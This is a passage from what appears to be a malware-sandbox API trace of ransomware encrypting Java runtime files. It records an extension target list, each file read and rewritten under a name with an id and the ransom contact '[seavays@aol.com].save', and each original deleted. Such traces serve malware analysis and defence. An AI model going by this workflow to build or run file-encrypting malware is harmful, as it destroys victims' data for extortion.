returned 4 [0208.414] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0208.414] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll") returned 53 [0208.414] lstrlenW (lpString=".1cd") returned 4 [0208.415] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0208.415] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll") returned 53 [0208.415] lstrlenW (lpString=".jpg") returned 4 [0208.415] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0208.415] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0208.415] lstrlenW (lpString="unpack.dll") returned 10 [0208.415] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0208.416] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x3caff14 | out: lpFileSize=0x3caff14*=79936) returned 1 [0208.416] CloseHandle (hObject=0x360) returned 1 [0208.416] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack.dll")) returned 0x20 [0208.416] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0208.416] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0208.416] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cafec0 | out: lpNewFilePointer=0x0) returned 1 [0208.417] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cafec0 | out: lpNewFilePointer=0x0) returned 1 [0208.417] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0209.093] GetLastError () returned 0x0 [0209.093] ReadFile (in: hFile=0x360, lpBuffer=0x4129020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cafecc, lpOverlapped=0x0 | out: lpBuffer=0x4129020*, lpNumberOfBytesRead=0x3cafecc*=0x13840, lpOverlapped=0x0) returned 1 [0209.121] WriteFile (in: hFile=0x33c, lpBuffer=0x4129020*, nNumberOfBytesToWrite=0x13850, lpNumberOfBytesWritten=0x3cafc94, lpOverlapped=0x0 | out: lpBuffer=0x4129020*, lpNumberOfBytesWritten=0x3cafc94*=0x13850, lpOverlapped=0x0) returned 1 [0209.125] ReadFile (in: hFile=0x360, lpBuffer=0x4129020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cafecc, lpOverlapped=0x0 | out: lpBuffer=0x4129020*, lpNumberOfBytesRead=0x3cafecc*=0x0, lpOverlapped=0x0) returned 1 [0209.125] WriteFile (in: hFile=0x33c, lpBuffer=0x4129020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x3cafc94, lpOverlapped=0x0 | out: lpBuffer=0x4129020*, lpNumberOfBytesWritten=0x3cafc94*=0xe8, lpOverlapped=0x0) returned 1 [0209.125] SetEndOfFile (hFile=0x33c) returned 1 [0209.125] CloseHandle (hObject=0x33c) returned 1 [0209.125] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cafec0 | out: lpNewFilePointer=0x0) returned 1 [0209.125] SetEndOfFile (hFile=0x360) returned 1 [0209.127] CloseHandle (hObject=0x360) returned 1 [0209.127] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0209.127] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack.dll")) returned 1 [0209.128] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll") returned 49 [0209.128] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll") returned 49 [0209.128] lstrlenW (lpString=".doc") returned 4 [0209.128] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0209.128] lstrlenW (lpString=".docx") returned 5 [0209.128] lstrcmpiW (lpString1=".docx", lpString2="k.dll") returned -1 [0209.128] lstrlenW (lpString=".pdf") returned 4 [0209.128] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0209.128] lstrlenW (lpString=".xls") returned 4 [0209.128] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0209.128] lstrlenW (lpString=".xlsx") returned 5 [0209.128] lstrcmpiW (lpString1=".xlsx", lpString2="k.dll") returned -1 [0209.128] lstrlenW (lpString=".ppt") returned 4 [0209.128] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0209.128] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll") returned 49 [0209.128] lstrlenW (lpString=".zip") returned 4 [0209.128] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0209.128] lstrlenW (lpString=".rar") returned 4 [0209.129] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0209.129] lstrlenW (lpString=".bz2") returned 4 [0209.129] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0209.129] lstrlenW (lpString=".7z") returned 3 [0209.129] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0209.129] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll") returned 49 [0209.129] lstrlenW (lpString=".dbf") returned 4 [0209.129] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0209.129] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll") returned 49 [0209.129] lstrlenW (lpString=".1cd") returned 4 [0209.129] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0209.129] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll") returned 49 [0209.129] lstrlenW (lpString=".jpg") returned 4 [0209.129] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0209.129] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll") returned 49 [0209.129] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll") returned 49 [0209.129] lstrlenW (lpString=".doc") returned 4 [0209.129] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0209.129] lstrlenW (lpString=".docx") returned 5 [0209.129] lstrcmpiW (lpString1=".docx", lpString2="k.dll") returned -1 [0209.129] lstrlenW (lpString=".pdf") returned 4 [0209.129] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0209.129] lstrlenW (lpString=".xls") returned 4 [0209.129] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0209.129] lstrlenW (lpString=".xlsx") returned 5 [0209.130] lstrcmpiW (lpString1=".xlsx", lpString2="k.dll") returned -1 [0209.130] lstrlenW (lpString=".ppt") returned 4 [0209.130] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0209.130] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll") returned 49 [0209.130] lstrlenW (lpString=".zip") returned 4 [0209.130] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0209.130] lstrlenW (lpString=".rar") returned 4 [0209.130] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0209.130] lstrlenW (lpString=".bz2") returned 4 [0209.130] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0209.130] lstrlenW (lpString=".7z") returned 3 [0209.130] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0209.130] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll") returned 49 [0209.130] lstrlenW (lpString=".dbf") returned 4 [0209.130] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0209.130] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll") returned 49 [0209.130] lstrlenW (lpString=".1cd") returned 4 [0209.130] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0209.130] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll") returned 49 [0209.130] lstrlenW (lpString=".jpg") returned 4 [0209.130] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0209.130] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0209.131] lstrlenW (lpString="verify.dll") returned 10 [0209.131] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\verify.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0209.132] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x3caff14 | out: lpFileSize=0x3caff14*=49216) returned 1 [0209.132] CloseHandle (hObject=0x360) returned 1 [0209.132] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\verify.dll")) returned 0x20 [0209.132] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\verify.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0209.132] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\verify.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0209.132] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cafec0 | out: lpNewFilePointer=0x0) returned 1 [0209.132] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cafec0 | out: lpNewFilePointer=0x0) returned 1 [0209.132] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\verify.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0209.133] GetLastError () returned 0x0 [0209.133] ReadFile (in: hFile=0x360, lpBuffer=0x4129020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cafecc, lpOverlapped=0x0 | out: lpBuffer=0x4129020*, lpNumberOfBytesRead=0x3cafecc*=0xc040, lpOverlapped=0x0) returned 1 [0209.159] WriteFile (in: hFile=0x33c, lpBuffer=0x4129020*, nNumberOfBytesToWrite=0xc050, lpNumberOfBytesWritten=0x3cafc94, lpOverlapped=0x0 | out: lpBuffer=0x4129020*, lpNumberOfBytesWritten=0x3cafc94*=0xc050, lpOverlapped=0x0) returned 1 [0209.161] ReadFile (in: hFile=0x360, lpBuffer=0x4129020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cafecc, lpOverlapped=0x0 | out: lpBuffer=0x4129020*, lpNumberOfBytesRead=0x3cafecc*=0x0, lpOverlapped=0x0) returned 1 [0209.161] WriteFile (in: hFile=0x33c, lpBuffer=0x4129020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x3cafc94, lpOverlapped=0x0 | out: lpBuffer=0x4129020*, lpNumberOfBytesWritten=0x3cafc94*=0xe8, lpOverlapped=0x0) returned 1 [0209.161] SetEndOfFile (hFile=0x33c) returned 1 [0209.162] CloseHandle (hObject=0x33c) returned 1 [0209.162] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cafec0 | out: lpNewFilePointer=0x0) returned 1 [0209.162] SetEndOfFile (hFile=0x360) returned 1 [0209.163] CloseHandle (hObject=0x360) returned 1 [0209.163] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0209.163] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\verify.dll")) returned 1 [0209.164] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll") returned 49 [0209.164] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll") returned 49 [0209.164] lstrlenW (lpString=".doc") returned 4 [0209.164] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0209.164] lstrlenW (lpString=".docx") returned 5 [0209.164] lstrcmpiW (lpString1=".docx", lpString2="y.dll") returned -1 [0209.164] lstrlenW (lpString=".pdf") returned 4 [0209.164] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0209.164] lstrlenW (lpString=".xls") returned 4 [0209.164] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0209.164] lstrlenW (lpString=".xlsx") returned 5 [0209.164] lstrcmpiW (lpString1=".xlsx", lpString2="y.dll") returned -1 [0209.164] lstrlenW (lpString=".ppt") returned 4 [0209.164] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0209.164] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll") returned 49 [0209.164] lstrlenW (lpString=".zip") returned 4 [0209.164] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0209.164] lstrlenW (lpString=".rar") returned 4 [0209.164] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0209.165] lstrlenW (lpString=".bz2") returned 4 [0209.165] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0209.165] lstrlenW (lpString=".7z") returned 3 [0209.165] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0209.165] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll") returned 49 [0209.165] lstrlenW (lpString=".dbf") returned 4 [0209.165] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0209.165] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll") returned 49 [0209.165] lstrlenW (lpString=".1cd") returned 4 [0209.165] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0209.165] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll") returned 49 [0209.165] lstrlenW (lpString=".jpg") returned 4 [0209.165] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0209.165] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll") returned 49 [0209.165] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll") returned 49 [0209.165] lstrlenW (lpString=".doc") returned 4 [0209.165] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0209.165] lstrlenW (lpString=".docx") returned 5 [0209.165] lstrcmpiW (lpString1=".docx", lpString2="y.dll") returned -1 [0209.165] lstrlenW (lpString=".pdf") returned 4 [0209.165] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0209.165] lstrlenW (lpString=".xls") returned 4 [0209.165] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0209.165] lstrlenW (lpString=".xlsx") returned 5 [0209.165] lstrcmpiW (lpString1=".xlsx", lpString2="y.dll") returned -1 [0209.166] lstrlenW (lpString=".ppt") returned 4 [0209.166] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0209.166] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll") returned 49 [0209.166] lstrlenW (lpString=".zip") returned 4 [0209.166] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0209.166] lstrlenW (lpString=".rar") returned 4 [0209.166] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0209.166] lstrlenW (lpString=".bz2") returned 4 [0209.166] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0209.166] lstrlenW (lpString=".7z") returned 3 [0209.166] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0209.166] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll") returned 49 [0209.166] lstrlenW (lpString=".dbf") returned 4 [0209.166] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0209.166] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll") returned 49 [0209.166] lstrlenW (lpString=".1cd") returned 4 [0209.166] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0209.166] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll") returned 49 [0209.166] lstrlenW (lpString=".jpg") returned 4 [0209.166] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0209.166] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0209.167] lstrlenW (lpString="WindowsAccessBridge-64.dll") returned 26 [0209.167] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\windowsaccessbridge-64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0209.168] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x3caff14 | out: lpFileSize=0x3caff14*=110144) returned 1 [0209.168] CloseHandle (hObject=0x360) returned 1 [0209.168] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\windowsaccessbridge-64.dll")) returned 0x20 [0209.168] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\windowsaccessbridge-64.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0209.168] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\windowsaccessbridge-64.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0209.168] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cafec0 | out: lpNewFilePointer=0x0) returned 1 [0209.168] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cafec0 | out: lpNewFilePointer=0x0) returned 1 [0209.168] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\windowsaccessbridge-64.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0209.169] GetLastError () returned 0x0 [0209.169] ReadFile (in: hFile=0x360, lpBuffer=0x4129020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cafecc, lpOverlapped=0x0 | out: lpBuffer=0x4129020*, lpNumberOfBytesRead=0x3cafecc*=0x1ae40, lpOverlapped=0x0) returned 1 [0209.580] WriteFile (in: hFile=0x33c, lpBuffer=0x4129020*, nNumberOfBytesToWrite=0x1ae50, lpNumberOfBytesWritten=0x3cafc94, lpOverlapped=0x0 | out: lpBuffer=0x4129020*, lpNumberOfBytesWritten=0x3cafc94*=0x1ae50, lpOverlapped=0x0) returned 1 [0209.584] ReadFile (in: hFile=0x360, lpBuffer=0x4129020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cafecc, lpOverlapped=0x0 | out: lpBuffer=0x4129020*, lpNumberOfBytesRead=0x3cafecc*=0x0, lpOverlapped=0x0) returned 1 [0209.584] WriteFile (in: hFile=0x33c, lpBuffer=0x4129020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x3cafc94, lpOverlapped=0x0 | out: lpBuffer=0x4129020*, lpNumberOfBytesWritten=0x3cafc94*=0x108, lpOverlapped=0x0) returned 1 [0209.584] SetEndOfFile (hFile=0x33c) returned 1 [0209.584] CloseHandle (hObject=0x33c) returned 1 [0209.584] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cafec0 | out: lpNewFilePointer=0x0) returned 1 [0209.584] SetEndOfFile (hFile=0x360) returned 1 [0209.586] CloseHandle (hObject=0x360) returned 1 [0209.586] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0209.586] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\windowsaccessbridge-64.dll")) returned 1 [0209.587] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll") returned 65 [0209.587] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll") returned 65 [0209.587] lstrlenW (lpString=".doc") returned 4 [0209.587] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0209.587] lstrlenW (lpString=".docx") returned 5 [0209.587] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0209.587] lstrlenW (lpString=".pdf") returned 4 [0209.587] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0209.587] lstrlenW (lpString=".xls") returned 4 [0209.587] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0209.587] lstrlenW (lpString=".xlsx") returned 5 [0209.587] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0209.587] lstrlenW (lpString=".ppt") returned 4 [0209.587] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0209.587] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll") returned 65 [0209.587] lstrlenW (lpString=".zip") returned 4 [0209.587] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0209.587] lstrlenW (lpString=".rar") returned 4 [0209.587] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0209.587] lstrlenW (lpString=".bz2") returned 4 [0209.587] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0209.588] lstrlenW (lpString=".7z") returned 3 [0209.588] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0209.588] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll") returned 65 [0209.588] lstrlenW (lpString=".dbf") returned 4 [0209.588] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0209.588] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll") returned 65 [0209.588] lstrlenW (lpString=".1cd") returned 4 [0209.588] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0209.588] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll") returned 65 [0209.588] lstrlenW (lpString=".jpg") returned 4 [0209.588] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0209.588] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll") returned 65 [0209.588] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll") returned 65 [0209.588] lstrlenW (lpString=".doc") returned 4 [0209.588] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0209.588] lstrlenW (lpString=".docx") returned 5 [0209.588] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0209.588] lstrlenW (lpString=".pdf") returned 4 [0209.588] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0209.588] lstrlenW (lpString=".xls") returned 4 [0209.588] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0209.588] lstrlenW (lpString=".xlsx") returned 5 [0209.588] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0209.588] lstrlenW (lpString=".ppt") returned 4 [0209.589] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0209.589] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll") returned 65 [0209.589] lstrlenW (lpString=".zip") returned 4 [0209.589] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0209.589] lstrlenW (lpString=".rar") returned 4 [0209.589] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0209.589] lstrlenW (lpString=".bz2") returned 4 [0209.589] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0209.589] lstrlenW (lpString=".7z") returned 3 [0209.589] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0209.589] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll") returned 65 [0209.589] lstrlenW (lpString=".dbf") returned 4 [0209.589] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0209.589] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll") returned 65 [0209.589] lstrlenW (lpString=".1cd") returned 4 [0209.589] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0209.589] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll") returned 65 [0209.589] lstrlenW (lpString=".jpg") returned 4 [0209.589] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0209.589] lstrcmpiW (lpString1=".jar", lpString2=".save") returned -1 [0209.590] lstrlenW (lpString="charsets.jar") returned 12 [0209.590] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0209.591] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x3caff14 | out: lpFileSize=0x3caff14*=3036922) returned 1 [0209.591] CloseHandle (hObject=0x360) returned 1 [0209.591] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar")) returned 0x20 [0209.591] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0209.591] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar" (normalized: "c:\\program 